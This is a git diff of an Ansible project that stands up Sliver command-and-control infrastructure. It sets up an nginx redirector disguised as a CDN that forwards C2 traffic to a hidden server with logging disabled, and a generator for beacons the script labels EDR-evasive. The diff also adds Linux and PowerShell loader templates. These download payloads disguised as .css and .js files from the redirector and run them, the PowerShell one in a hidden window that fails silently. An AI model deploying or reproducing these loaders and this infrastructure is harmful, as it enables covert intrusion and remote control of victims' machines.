diff --git a/tasks/configure_c2.yml b/tasks/configure_c2.yml index 85bc4cd..0028979 100644 --- a/tasks/configure_c2.yml +++ b/tasks/configure_c2.yml @@ -82,17 +82,45 @@ - ../files/secure-exit.sh - ../files/sliver_randomizer.sh -- name: Create beacon generation script from template +- name: Create main beacon generation script template: src: "../templates/generate_evasive_beacons.sh.j2" dest: "/opt/c2/generate_evasive_beacons.sh" mode: '0700' owner: root group: root - vars: - redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}" - domain: "{{ domain }}" - redirector_port: "{{ redirector_port | default('443') }}" + +- name: Create Linux loader script template + template: + src: "../templates/linux_loader.sh.j2" + dest: "/opt/c2/linux_loader.template" + mode: '0644' + owner: root + group: root + +- name: Create Windows PowerShell loader template + template: + src: "../templates/windows_loader.ps1.j2" + dest: "/opt/c2/windows_loader.template" + mode: '0644' + owner: root + group: root + +- name: Create manifest template + template: + src: "../templates/manifest.json.j2" + dest: "/opt/c2/manifest.template" + mode: '0644' + owner: root + group: root + +- name: Create reference file template + template: + src: "../templates/reference.txt.j2" + dest: "/opt/c2/reference.template" + mode: '0644' + owner: root + group: root - name: Create beacon server script from template template: diff --git a/tasks/configure_redirector.yml b/tasks/configure_redirector.yml index f65e4a0..30b75a4 100644 --- a/tasks/configure_redirector.yml +++ b/tasks/configure_redirector.yml @@ -1,5 +1,5 @@ --- -# Common task for configuring redirector +# Common task for configuring redirector with full encryption # Shared across all providers - name: Install required packages for redirector @@ -70,15 +70,36 @@ group: root when: zero_logs | bool -# Configure nginx sites with default values - no certificate -- name: Configure NGINX site with HTTP (no SSL) - copy: +# Configure nginx for dual HTTP/HTTPS with complete encryption +- name: Configure NGINX for secure C2 redirection + template: content: | + # HTTP server - redirects all to HTTPS server { listen 80; listen [::]:80; - server_name cdn.{{ domain }}; + server_name {{ redirector_subdomain }}.{{ domain }}; + # Force redirect to HTTPS for all traffic + return 301 https://$host$request_uri; + } + + # HTTPS server - handles both HTTP and MTLS C2 traffic + server { + listen 443 ssl; + listen [::]:443 ssl; + server_name {{ redirector_subdomain }}.{{ domain }}; + + # SSL Configuration + ssl_certificate /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/privkey.pem; + ssl_protocols TLSv1.2 TLSv1.3; + ssl_prefer_server_ciphers on; + ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305'; + ssl_session_timeout 1d; + ssl_session_cache shared:SSL:10m; + + # Root directory root /var/www/html; index index.html; @@ -87,8 +108,7 @@ try_files $uri $uri/ =404; } - # Special URI patterns for C2 traffic - # These will redirect to the actual C2 server + # HTTP C2 paths (still over HTTPS) location /ajax/ { proxy_pass http://{{ c2_ip }}:8888; proxy_http_version 1.1; @@ -99,7 +119,19 @@ proxy_set_header Connection "upgrade"; } - # Static resources that actually redirect to C2 + # MTLS/TCP passthrough for direct Sliver communication + location /mtls/ { + proxy_pass https://{{ c2_ip }}:443; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_ssl_verify off; + } + + # Static resources that redirect to C2 location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ { proxy_pass http://{{ c2_ip }}:8888; proxy_http_version 1.1; @@ -108,19 +140,32 @@ proxy_set_header X-Real-IP $remote_addr; } - # Additional security headers + # Security headers add_header X-Content-Type-Options "nosniff" always; add_header X-Frame-Options "SAMEORIGIN" always; - add_header X-XSS-Protection "1" mode=block; + add_header X-XSS-Protection "1; mode=block" always; add_header Referrer-Policy "no-referrer" always; + add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'" always; + + # Disable logging if zero-logs is enabled + {% if zero_logs | default(true) | bool %} + access_log off; + error_log /dev/null crit; + {% endif %} } - # Catch-all server block to respond to unknown hosts + # Catch-all server block server { listen 80 default_server; listen [::]:80 default_server; + listen 443 ssl default_server; + listen [::]:443 ssl default_server; - # Redirect all unknown traffic to a legitimate-looking site + # Self-signed cert for catch-all + ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem; + ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key; + + # Redirect unknown traffic to a legitimate-looking site return 301 https://www.google.com; # Disable logs @@ -133,76 +178,15 @@ group: root - name: Create legitimate-looking index.html - copy: - content: | - - - - - - CDN - Content Delivery Network - - - -
-

cdn.{{ domain }}

-

Enterprise Content Delivery Network

-
- -
-
-

Welcome to Our CDN

-

This server is part of our global content delivery network.

-
-
- - - - + template: + src: "../templates/redirector-index.html.j2" dest: /var/www/html/index.html mode: '0644' owner: www-data group: www-data - name: Create SSL certificate setup instructions - copy: + template: content: | #!/bin/bash # Let's Encrypt Certificate Setup Script @@ -210,7 +194,7 @@ # Replace these with your actual values if needed DOMAIN="{{ domain }}" - SUBDOMAIN="cdn" + SUBDOMAIN="{{ redirector_subdomain }}" EMAIL="admin@${DOMAIN}" echo "================================================" @@ -231,6 +215,31 @@ owner: root group: root +# Add stream module configuration for pure TCP forwarding +- name: Configure NGINX stream module for TCP traffic + template: + content: | + # TCP stream configuration for MTLS + stream { + # TCP forwarding for MTLS + server { + listen 31337; + proxy_pass {{ c2_ip }}:31337; + } + + # Additional C2 ports + server { + listen 50051; + proxy_pass {{ c2_ip }}:50051; + } + } + dest: /etc/nginx/modules-enabled/stream.conf + mode: '0644' + owner: root + group: root + notify: + - restart nginx + - name: Start and enable shell handler service systemd: name: shell-handler diff --git a/templates/generate_evasive_beacons.sh.j2 b/templates/generate_evasive_beacons.sh.j2 index 570d296..ea5818e 100644 --- a/templates/generate_evasive_beacons.sh.j2 +++ b/templates/generate_evasive_beacons.sh.j2 @@ -1,5 +1,5 @@ #!/bin/bash -# Corrected EDR-evasive beacon generator with templated redirector integration +# Corrected EDR-evasive beacon generator with template files # Configuration (automatically populated by Ansible) BEACONS_DIR="/opt/beacons" @@ -99,82 +99,45 @@ stager_win=$(random_output_name "windows") sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win" echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)" -# Create a manifest file for the serve-beacons.sh script to use -cat > "$BEACONS_DIR/manifest.json" << EOF -{ - "windows_exe": "$win_output", - "windows_dll": "$dll_output", - "linux_binary": "$linux_output", - "macos_binary": "$mac_output", - "windows_stager": "staged/$stager_win", - "win_profile": "$win_profile", - "dll_profile": "$dll_profile", - "linux_profile": "$linux_profile", - "mac_profile": "$mac_profile", - "stager_profile": "$stager_profile", - "redirector_host": "$REDIRECTOR_HOST", - "redirector_port": "$REDIRECTOR_PORT", - "c2_host": "$C2_HOST", - "generated_date": "$(date)" -} -EOF +# Create manifest file from template +cp /opt/c2/manifest.template "$BEACONS_DIR/manifest.json" +sed -i "s/WINDOWS_EXE/$win_output/g" "$BEACONS_DIR/manifest.json" +sed -i "s/WINDOWS_DLL/$dll_output/g" "$BEACONS_DIR/manifest.json" +sed -i "s/LINUX_BINARY/$linux_output/g" "$BEACONS_DIR/manifest.json" +sed -i "s/MACOS_BINARY/$mac_output/g" "$BEACONS_DIR/manifest.json" +sed -i "s/WINDOWS_STAGER/staged\/$stager_win/g" "$BEACONS_DIR/manifest.json" +sed -i "s/WIN_PROFILE/$win_profile/g" "$BEACONS_DIR/manifest.json" +sed -i "s/DLL_PROFILE/$dll_profile/g" "$BEACONS_DIR/manifest.json" +sed -i "s/LINUX_PROFILE/$linux_profile/g" "$BEACONS_DIR/manifest.json" +sed -i "s/MAC_PROFILE/$mac_profile/g" "$BEACONS_DIR/manifest.json" +sed -i "s/STAGER_PROFILE/$stager_profile/g" "$BEACONS_DIR/manifest.json" +sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" "$BEACONS_DIR/manifest.json" +sed -i "s/REDIRECTOR_PORT/$REDIRECTOR_PORT/g" "$BEACONS_DIR/manifest.json" +sed -i "s/C2_HOST/$C2_HOST/g" "$BEACONS_DIR/manifest.json" +sed -i "s/GENERATED_DATE/$(date)/g" "$BEACONS_DIR/manifest.json" -# Create loader scripts with redirector integration -cat > "$BEACONS_DIR/linux_loader.sh" << 'EOFLINUX' -#!/bin/bash -# Loader script for Linux beacon -curl -s https://REDIRECTOR_PLACEHOLDER/static/css/linux.css -H "Accept-Language: en-US,en;q=0.9" -o /tmp/linux_update -chmod +x /tmp/linux_update -/tmp/linux_update & -EOFLINUX - -# Replace placeholder with actual redirector host +# Create Linux loader from template +cp /opt/c2/linux_loader.template "$BEACONS_DIR/linux_loader.sh" sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/linux_loader.sh" chmod +x "$BEACONS_DIR/linux_loader.sh" -# Create PowerShell stager with improved OPSEC -cat > "$BEACONS_DIR/windows_loader.ps1" << 'EOFPS' -# Windows PowerShell Beacon Loader -[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 -$ErrorActionPreference = "SilentlyContinue" -$wc = New-Object System.Net.WebClient -$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36") -$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9") -$wc.Headers.Add("Referer", "https://REDIRECTOR_PLACEHOLDER/") -$url = "https://REDIRECTOR_PLACEHOLDER/static/js/update.js" -$outpath = "$env:TEMP\update-$(New-Guid).exe" -try { - $wc.DownloadFile($url, $outpath) - Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000) - Start-Process -WindowStyle Hidden -FilePath $outpath -} catch { - # Fail silently -} -EOFPS - -# Replace placeholder with actual redirector host +# Create Windows PowerShell loader from template +cp /opt/c2/windows_loader.template "$BEACONS_DIR/windows_loader.ps1" sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/windows_loader.ps1" -# Create index of generated files -cat > "$BEACONS_DIR/reference.txt" << EOF -C2 Server Details: -- C2 IP: $C2_HOST -- Redirector Domain: $REDIRECTOR_HOST - -Beacons Generated ($(date)): -- Windows EXE: $win_output (Profile: $win_profile) -- Windows DLL: $dll_output (Profile: $dll_profile) -- Linux Binary: $linux_output (Profile: $linux_profile) -- macOS Binary: $mac_output (Profile: $mac_profile) -- Windows Stager: staged/$stager_win (Profile: $stager_profile) - -Usage: -1. Ensure your redirector is properly configured to forward requests to the C2 server -2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP -3. Test connectivity before deployment in target environment - -IMPORTANT: These beacons will connect to $REDIRECTOR_HOST on port $REDIRECTOR_PORT -EOF - -echo "[+] Beacon generation with redirector integration complete" -echo "[+] Run serve-beacons.sh to start serving these Sliver beacons" \ No newline at end of file +# Create reference file from template +cp /opt/c2/reference.template "$BEACONS_DIR/reference.txt" +sed -i "s/C2_HOST/$C2_HOST/g" "$BEACONS_DIR/reference.txt" +sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" "$BEACONS_DIR/reference.txt" +sed -i "s/WINDOWS_EXE/$win_output/g" "$BEACONS_DIR/reference.txt" +sed -i "s/WINDOWS_DLL/$dll_output/g" "$BEACONS_DIR/reference.txt" +sed -i "s/LINUX_BINARY/$linux_output/g" "$BEACONS_DIR/reference.txt" +sed -i "s/MACOS_BINARY/$mac_output/g" "$BEACONS_DIR/reference.txt" +sed -i "s/WINDOWS_STAGER/$stager_win/g" "$BEACONS_DIR/reference.txt" +sed -i "s/WIN_PROFILE/$win_profile/g" "$BEACONS_DIR/reference.txt" +sed -i "s/DLL_PROFILE/$dll_profile/g" "$BEACONS_DIR/reference.txt" +sed -i "s/LINUX_PROFILE/$linux_profile/g" "$BEACONS_DIR/reference.txt" +sed -i "s/MAC_PROFILE/$mac_profile/g" "$BEACONS_DIR/reference.txt" +sed -i "s/STAGER_PROFILE/$stager_profile/g" "$BEACONS_DIR/reference.txt" +sed -i "s/REDIRECTOR_PORT/$REDIRECTOR_PORT/g" "$BEACONS_DIR/reference.txt" +sed -i "s/GENERATED_DATE/$(date)/g" "$BEACONS_DIR/reference.txt" \ No newline at end of file diff --git a/templates/linux_loader.sh.j2 b/templates/linux_loader.sh.j2 new file mode 100644 index 0000000..4bd28b3 --- /dev/null +++ b/templates/linux_loader.sh.j2 @@ -0,0 +1,5 @@ +#!/bin/bash +# Loader script for Linux beacon +curl -s https://REDIRECTOR_PLACEHOLDER/static/css/linux.css -H "Accept-Language: en-US,en;q=0.9" -o /tmp/linux_update +chmod +x /tmp/linux_update +/tmp/linux_update & \ No newline at end of file diff --git a/templates/manifest.json.j2 b/templates/manifest.json.j2 new file mode 100644 index 0000000..22c957f --- /dev/null +++ b/templates/manifest.json.j2 @@ -0,0 +1,16 @@ +{ + "windows_exe": "WINDOWS_EXE", + "windows_dll": "WINDOWS_DLL", + "linux_binary": "LINUX_BINARY", + "macos_binary": "MACOS_BINARY", + "windows_stager": "WINDOWS_STAGER", + "win_profile": "WIN_PROFILE", + "dll_profile": "DLL_PROFILE", + "linux_profile": "LINUX_PROFILE", + "mac_profile": "MAC_PROFILE", + "stager_profile": "STAGER_PROFILE", + "redirector_host": "REDIRECTOR_HOST", + "redirector_port": "REDIRECTOR_PORT", + "c2_host": "C2_HOST", + "generated_date": "GENERATED_DATE" +} \ No newline at end of file diff --git a/templates/reference.txt.j2 b/templates/reference.txt.j2 new file mode 100644 index 0000000..59bed7f --- /dev/null +++ b/templates/reference.txt.j2 @@ -0,0 +1,17 @@ +C2 Server Details: +- C2 IP: C2_HOST +- Redirector Domain: REDIRECTOR_HOST + +Beacons Generated (GENERATED_DATE): +- Windows EXE: WINDOWS_EXE (Profile: WIN_PROFILE) +- Windows DLL: WINDOWS_DLL (Profile: DLL_PROFILE) +- Linux Binary: LINUX_BINARY (Profile: LINUX_PROFILE) +- macOS Binary: MACOS_BINARY (Profile: MAC_PROFILE) +- Windows Stager: staged/WINDOWS_STAGER (Profile: STAGER_PROFILE) + +Usage: +1. Ensure your redirector is properly configured to forward requests to the C2 server +2. Update DNS for REDIRECTOR_HOST to point to your redirector IP +3. Test connectivity before deployment in target environment + +IMPORTANT: These beacons will connect to REDIRECTOR_HOST on port REDIRECTOR_PORT \ No newline at end of file diff --git a/templates/windows_loader.ps1.j2 b/templates/windows_loader.ps1.j2 new file mode 100644 index 0000000..5494e9e --- /dev/null +++ b/templates/windows_loader.ps1.j2 @@ -0,0 +1,16 @@ +# Windows PowerShell Beacon Loader +[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 +$ErrorActionPreference = "SilentlyContinue" +$wc = New-Object System.Net.WebClient +$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36") +$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9") +$wc.Headers.Add("Referer", "https://REDIRECTOR_PLACEHOLDER/") +$url = "https://REDIRECTOR_PLACEHOLDER/static/js/update.js" +$outpath = "$env:TEMP\update-$(New-Guid).exe" +try { + $wc.DownloadFile($url, $outpath) + Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000) + Start-Process -WindowStyle Hidden -FilePath $outpath +} catch { + # Fail silently +} \ No newline at end of file